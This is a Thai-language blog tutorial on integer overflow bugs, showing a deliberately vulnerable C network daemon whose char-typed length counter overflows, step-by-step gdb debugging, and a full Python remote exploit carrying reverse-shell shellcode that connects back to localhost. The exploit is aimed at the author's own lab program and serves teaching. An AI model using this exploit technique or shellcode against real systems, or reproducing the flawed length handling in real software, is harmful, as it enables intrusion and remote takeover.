Sunday, April 17, 2011

Integer Overflow

ในหัวข้อนี้ เรามาดูอีกข้อผิดพลาดหนึ่งที่พบกันคือ Integer Overflow ซึ่งโดยส่วนมากที่พบคือ ปัญหาเกี่ยวกับการเปลี่ยนค่า signed (มีค่าได้ทั้งบวกและลบ) จาก unsigned (มีค่าเป็นบวกได้เท่านั้น)

ก่อนอื่น เรามาดูค่าที่น้อยที่สุด และมากที่สุดของตัวแปรแต่ละชนิดเป็นดังนี้

ชนิดMINMAX
char-128127
unsigned char0255
short-3276832767
unsigned short065535
int (32 bits)−21474836482147483647
unsigned int04294967295

รูปแบบแรกที่พบ เนื่องจากในระบบ 2's complement ที่ใช้กันอยู่ในคอมพิวเตอร์นั้น ตัวแปร char ถ้ามีค่า 127 แล้วบวกกับ 1 จะมีค่าเท่ากับ -128 ซึ่งเกิดการ overflow ของตัวเลข

อีกรูปแบบหนึ่ง ที่อาจจะเจอคือการส่ง ผ่านตัวแปรที่ function รับเป็นแบบ unsigned แต่ตอนแรกเราใช้เป็นแบบ signed เช่น

void process(char *buffer, unsigned int len)
{
    // do something
}

void foo()
{
    int len;
    char buffer[2048];

    // get data and len from somewhere

    // process data only if len is less than 2048
    if (len < 2048)
        process(buffer, (unsigned int) len);
}

จากโค้ดข้างบน จะเห็นว่า len นั้นเป็นแบบ signed int ทำให้บรรทัด "if (len < 2048)" เปรียบเทียบแบบ signed ซึ่งถ้าเราสามารถกำหนดค่า len ให้มีค่าเป็นลบได้ โปรแกรมจะเรียก process function ซึ่งมีการรับค่าเป็นแบบ unsigned int ทำให้ใน process function จะเห็นค่า len เป็นค่าที่มากกว่า 2147483647 และอาจทำให้เราสามารถควบคุมโปรแกรมได้

หมดแล้วสำหรับหลักการ Integer Overflow จะเห็นว่าเรื่องนี้จะดูง่ายๆ แต่ในความเป็นจริงแล้ว bug ประเภทนี้ ส่วนมากที่เจอ จะค่อนข้าง tricky

สำหรับตัวอย่างครั้งนี้ ผมจะทำเป็นแบบ remote exploit ซึ่งเดี๋ยวจะเห็นว่าวิธีการ exploit จะเหมือนกับ local exploit ที่ผ่านๆ มา เพียงแค่เราต้องเปลี่ยน shellcode ที่จะใช้ให้เป็นเกี่ยวกับ network เรามาดูกันเลยดีกว่า โดยผมจะแสดงในนี้เฉพาะส่วนที่สำคัญ (ex_11_1.c)

/* gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_11_1 ex_11_1.c */
// ... include ...

char datalen, len;

void do_encrypt(char *buffer, char len)
{
    int i;
    for (i = 0; i < len; i++)
        buffer[i] ^= 0xaf;
}

void handle_client(int fd)
{
    char buffer[128]; // maximum value of char is 127

    // get data len
    if (recv(fd, &datalen, 1, 0) != 1) {
        close(fd);
        return;
    }

    len = 0;
    while (len < datalen)
        len += recv(fd, buffer + len, datalen, 0);

    do_encrypt(buffer, datalen);
    send(fd, buffer, datalen, 0);
    close(fd);
}
// ... main ...

ในส่วน main คือ code สำหรับทำตัวเองให้เป็น daemon process และคอยรับ connection ที่ port 55555 และเมื่อมี client มาต่อ จะทำการ fork แล้วเรียก handle_client function

เรามาดูการทำงานของ handle_client() กันก่อน จะเห็นโปรแกรมรับข้อมูล 1 byte จาก client เพื่อใช้สำหรับระบุว่าข้อมูลจะมีความยาวเท่าไร หลังจากนั้นทำการรับข้อมูลจาก client จนกระทั่ง len มีค่ามากว่าหรือเท่ากับ datalen หลังจากนั้นโปรแกรมจะเรียก do_encrypt function ซึ่งผมได้ใช้วิธีการ xor กับค่า 0xaf และเมื่อจบ do_encrypt function โปรแกรมจะทำการส่งข้อมูลที่รับกลับมา

ผมหวังว่าหลายๆ คนจะสังเกตเห็นปัญหาของโปรแกรมนี้แล้ว จุดที่น่าสังเกตของโปรแกรมนี้คือ

  1. เราสามารถที่จะส่งค่า datalen เป็นลบได้ แต่จะไม่มีผลกับโปรแกรม เพราะ len เริ่มต้นเป็น 0 แล้วโปรแกรมจะไม่ทำงานใดๆ
  2. len เป็นตัวแปรชนิด char ซึ่งสามารถเกิด integer overflow ได้ และเมื่อเกิด overflow ที่ recv() จะทำให้ while loop เป็นจริงและทำงานต่อ
  3. ที่ recv() ได้ระบุจำนวนข้อมูลที่จะรับ (argument ที่ 3)เป็น datalen ทำให้ถ้าข้อมูลมาครั้งแรกน้อยกว่า datalen ทำให้ครั้งต่อไปโปรแกรมอาจจะรับข้อมูลเกินที่ระบุไว้ใน datalen ซึ่งโค้ดที่ถูกต้องควรเป็น datalen - len
ดังนั้น ถ้าเราส่งค่า datalen เป็น 127 แล้วเราส่งข้อมูลครั้งแรกให้ยาว 126 bytes จะทำให้ข้อมูลที่เราส่งครั้งถัดไปสามารถเขียนเกินส่วนของ buffer ไปทับ saved eip ได้

เรามาลองส่งข้อมูลกันก่อนสักรอบดีกว่า โดยผมจะใช้ nc ในการต่อ และใช้ "\n" (Enter) สำหรับ datalen ค่า 10

$ ./ex_11_1    # สำหรับคนที่ยังไม่ได้รัน
$ nc -v 127.0.0.1 55555
Connection to 127.0.0.1 55555 port [tcp/*] succeeded!

1234567890
▒▒▒▒▒▒▒▒▒▒

โปรแกรมทำงานปกติ แต่ถ้าเราตต้องการจะ debug ละ จะเห็นว่าโปรแรมนี้ จะมีการ fork process ลูก แต่ gdb ของเราทำการ debug process แม่อยู่ วิธีการ debug ด้วย gdb คือให้คำสั่ง "set follow-fork-mode child" ทำได้ตามนี้ (หรือใส่ไว้ใน gdbinit)

$ ps -e | grep ex_11_1
 1287 ?        00:00:00 ex_11_1
$ gdb -q -p 1287
Attaching to process 1287
...
Loaded symbols for /lib/ld-linux.so.2
0x0012d422 in __kernel_vsyscall ()
(gdb) disas handle_client
...
   0x080486e5 <+121>:   mov    %eax,(%esp)
   0x080486e8 <+124>:   call   0x80484bc <recv@plt>
...
   0x080486fe <+146>:   movzbl 0x8049ac4,%edx  # len อยู่ที่ 0x8049ac4
   0x08048705 <+153>:   movzbl 0x8049ac5,%eax  # datalen อยู่ที่ 0x8049ac5
   0x0804870c <+160>:   cmp    %al,%dl
   0x0804870e <+162>:   jl     0x80486b6 <handle_client+74>
...
   0x0804871e <+178>:   lea    -0x88(%ebp),%eax  # buffer อยู่ที่ ebp-0x88
   0x08048724 <+184>:   mov    %eax,(%esp)
   0x08048727 <+187>:   call   0x8048634 <do_encrypt>
...
   0x08048762 <+246>:   leave
   0x08048763 <+247>:   ret
End of assembler dump.
(gdb) b *0x08048727
Breakpoint 1 at 0x8048727
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
# ... เปิดอีก terminal ใช้ nc ต่อเข้ามาแบบข้างบน
[New process 1401]
[Switching to process 1401]

Breakpoint 1, 0x08048727 in handle_client ()
(gdb) x/4x $esp
0xbffff660:     0xbffff670      0x0000000a      0x0000000a      0x00000000
(gdb) x/s 0xbffff670
0xbffff670:      "1234567890)"
(gdb) c
Continuing.

Program exited normally.

หลังจาก debug โปรแกรมได้แล้ว เรามาลองเขียนโปรแกรมเล็กๆ โดยผมจะใช้ python เพื่อส่งข้อมูลที่ทำให้เกิด buffer overflow แบบที่คิดไว้ข้างบน โดยครั้งแรกจะได้

import socket, time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 55555))

s.send("\x7f") # send datalen (127)
s.send("J"*126) # send junk 126 bytes

# sleep 1 sec before sending again, so the data is not merged in 1 recv
time.sleep(1)

s.send("A"*126)
s.close()
$ gdb -q -p 1287
...
(gdb) b *0x080486e8  # set breakpoint ที่ recv() ใน while loop
Breakpoint 1 at 0x080486e8
(gdb) condition 1 *((char*)0x8049ac4)==126  # กำหนดให้ break เมื่อ len==126
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
# ... ต่อด้วยโปรแกรม python ที่เขียนขึ้นมา
[New process 1461]
[Switching to process 1461]

Breakpoint 1, 0x080486e8 in handle_client ()
(gdb) x/x $ebp-0x88
0xbffff670:     0x4a4a4a4a    # buffer อยู่ที่ address 0xbffff670
(gdb) x/4x $esp   # list argument ของ recv
0xbffff660:     0x00000004      0xbffff6ee      0x0000007f      0x00000000
(gdb) x/8x $ebp-16
0xbffff6e8:     0x4a4a4a4a      0x00294a4a      0x00000000      0x00000000
0xbffff6f8:     0xbffff738      0x080488a5      0x00000004      0x00000000
(gdb) ni
0x080486ed in handle_client ()
(gdb) x/8x $ebp-16
0xbffff6e8:     0x4a4a4a4a      0x41414a4a      0x41414141      0x41414141
0xbffff6f8:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) d 1
(gdb) b *0x080486e8
Breakpoint 2 at 0x80486e8
(gdb) c
Continuing.

Breakpoint 2, 0x080486e8 in handle_client ()
(gdb) x/4x $esp   # list argument ของ recv
0xbffff660:     0x41414141      0xbffff66c      0x0000007f      0x00000000
(gdb) k
Kill the program being debugged? (y or n) y

ให้สังเกตที่ arguemnt ของ recv จะเห็นว่าค่า fd จากที่ครั้งแรกเป็น 4 กลายเป็น 0x41414141 เนื่องจากเรา overwrite ค่า fd ที่เป็น argument ของ handle_client function (อยู่ใน saved eip) และทำให้ recv function จะ return -1 ดังนั้นวิธีหนึ่งที่ทำได้คือ overflow ให้เขียนทับ eip แล้วใน while loop จะลบค่า len ไปทีละ 1 จากค่าติดลบจนเป็น 127 ที่เท่ากับ datalen

แต่ถ้าโปรแกรมมีการ check ว่า recv return -1 หรือไม่ เราก็จะไม่สามารถใช้วิธีข้างบนได้ (และผมก็ไม่แสดงให้ดูนะ) แต่เราต้องทำให้ fd นั้นเป็นค่าของ socket ที่ต่ออยู่จริงๆ แล้วค่ามันคืออะไรละ โดย default ของโปรแกรม 0,1,2 เป็น stdin, stdout, stderr ตามลำดับ และ server socket ที่สร้างมาสำหรับรับ connection จาก client ก็จะเป็น 3 ดังนั้น client socket ที่ต่อใหม่ก็จะเป็น 4 และถ้าดูที่โปรแกรมตัว parent ที่ใช้รับ connection จะ close client fd ก่อน แล้วค่อยไปรับ connection ใหม่ ทำให้ client ที่ต่อใหม่อีกรอบก็ยังคงเป็น 4 และเมื่อรู้ว่าค่า client fd เป็น 4 ตลอด ดังนั้นเราสามารถเขียนทับค่านี้ด้วย 4 เพื่อให้โปรแกรมทำงานต่อได้ถูกต้อง

เมื่อเราสามารถให้โปรแกรมทำงานต่อไปได้ เรามาลองคิดดูว่าตอนนี้ len จะมีค่าเป็น 126+126=-4 ดังนั้นเราจะต้องใส่ค่าไปอีก 4+127=131 เพื่อให้โปรแกรมออกจาก while loop โดยค่าที่เราใส่เข้าไปจะไปทับข้อมูลใน buffer ที่เราส่งไปครั้งแรก ดังนั้นถ้าเราแก้ code แล้ว debug จะได้

import socket, time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 55555))

s.send("\x7f") # send datalen (127)
s.send("J"*126) # send junk 126 bytes

time.sleep(1)

s.send("A"*10 + "sebp" + "seip" + "\x04\x00\x00\x00" + "A"*104)
s.send("U"*131)
s.close()
$ gdb -q -p 1287
...
(gdb) b *0x8048634
Breakpoint 1 at 0x8048634
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
[New process 1500]
[Switching to process 1500]

Breakpoint 1, 0x08048634 in do_encrypt ()
(gdb) x/8x $ebp-0x88
0xbffff670:     0x55555555      0x55555555      0x55555555      0x55555555
0xbffff680:     0x55555555      0x55555555      0x55555555      0x55555555
(gdb) x/4x $ebp
0xbffff6f8:     0x70626573      0x70696573      0x00000004      0x41414141
(gdb) x/s $ebp
0xbffff6f8:      "sebpseip\004"

ตอนนี้เราได้ข้อมูลครบทุกอย่างสำหรับ exploit แล้ว (address ของ) เหลือเพียงแค่ shellcode โดยผมจะใช้ connect back shellcode ที่ผมเขียนไว้ใน "Linux x86 Shellcode" ซึ่งเป็นดังนี้

\x31\xdb\x8d\x43\x66\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x68\x7f\x00\x00\x01\x68\x02\x00\x15\xb3\x89\xe1\x50\x51\x53\x89\xe1\x6a\x03\x5b\xcd\x80\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80

ในโปรแกรมนี้ ไม่มี badchar แต่ข้อมูลจะถูก xor ด้วย 0xaf ก่อนจบ function ดังนั้นเวลาเราส่งข้อมูลที่ถูกเก็บใน buffer เราต้อง xor กับ 0xaf ก่อน และถ้าดูที่ assembly ของ shellcode นี้จะเห็นว่ามีการใช้ push อยู่หลายครั้ง ซึ่งหมายความว่าต้องการใช้ stack ดังนั้นเราต้องไม่ใช่ esp อยู่ใกล้ shellcode ของเราเมื่อ shellocde กำลังทำงานอยู่ โดยผมจะใช้วิธีการเพิ่ม "add $0x80, %esp" เพื่อเลื่อน stack pointer ไปให้ห่างจาก shellcode

เมื่อรวมทุกอย่างเราจะได้โปรแกรม python ดังนี้ (ex_11_1.py)

import socket
import time
from struct import pack

# shellcode address
addr = 0xbffff690

# stack adjustment (add esp, 0x80) (6 bytes)
addesp = "\x81\xc4\x80\x00\x00\x00"
# reverse shell, connect back to 127.0.0.1:5555 (67 bytes)
rsh_sc = "\x31\xdb\x8d\x43\x66\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x68\x7f\x00\x00\x01\x68\x02\x00\x15\xb3\x89\xe1\x50\x51\x53\x89\xe1\x6a\x03\x5b\xcd\x80\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"

sc = addesp + rsh_sc

# first data to be sent
payload = "\x90"*(127 - len(sc)) + sc
payload_enc = "".join([ chr(ord(c) ^ 0xaf) for c in payload ])

# connect to the target
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 55555))

# send datalen (127)
s.send("\x7f")

# send junk 126 bytes
s.send("J"*126)

# sleep 1 sec before sending again, so the data is not merged in 1 recv
time.sleep(1)

# send data to overwrite the eip and cause the "len" overflow (126 bytes)
# - junk 2 bytes to fill the buffer
# - junk 8 bytes
# - saved ebp 4 bytes
# - saved eip 4 bytes
# - the client_fd argv 4 bytes (4)
# - junk (126 - 17) bytes
s.send("A"*10 + "sebp" + pack("<I", addr) + pack("<I", 4) + "J"*(126 - 22))

# now "len" is overflown to be 126 + 126 = -4
# send 4 bytes to make recv buffer at the beginning again
s.send("\x00"*4)

# send the payload
s.send(payload_enc)

s.close()

ใช้ nc เพื่อ listen ที่่ port 5555 แล้ว run python โปรแกรมข้างบนจะได้

$ nc -vl 5555
Connection from 127.0.0.1 port 5555 [tcp/*] accepted
id
uid=1000(worawit) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
exit

ทำได้แล้ว สำหรับตัวอย่างนี้อาจจะยากไปซักหน่อยสำหรับหลายๆ คน (ผมตั้งใจให้มันยากเอง ^.^) แต่ในบางครั้งเราจำเป็นต้องคิดถึงในหลายๆ เรื่อง เพื่อให้โปรแกรมทำงานต่อไปได้ ถึงแม้จะเกิด overflow ไปแล้ว เพื่อให้โปรแกรมทำงานจนถึง shellcode ที่เราใส่เข้าไป และใน application จริงอาจจะได้เจอโปรแกรมที่มีความซับซ้อนมากกว่านี้

Reference:
- http://www.phrack.org/issues.html?issue=60&id=10
- https://www.owasp.org/index.php/Integer_overflow

No comments:

Post a Comment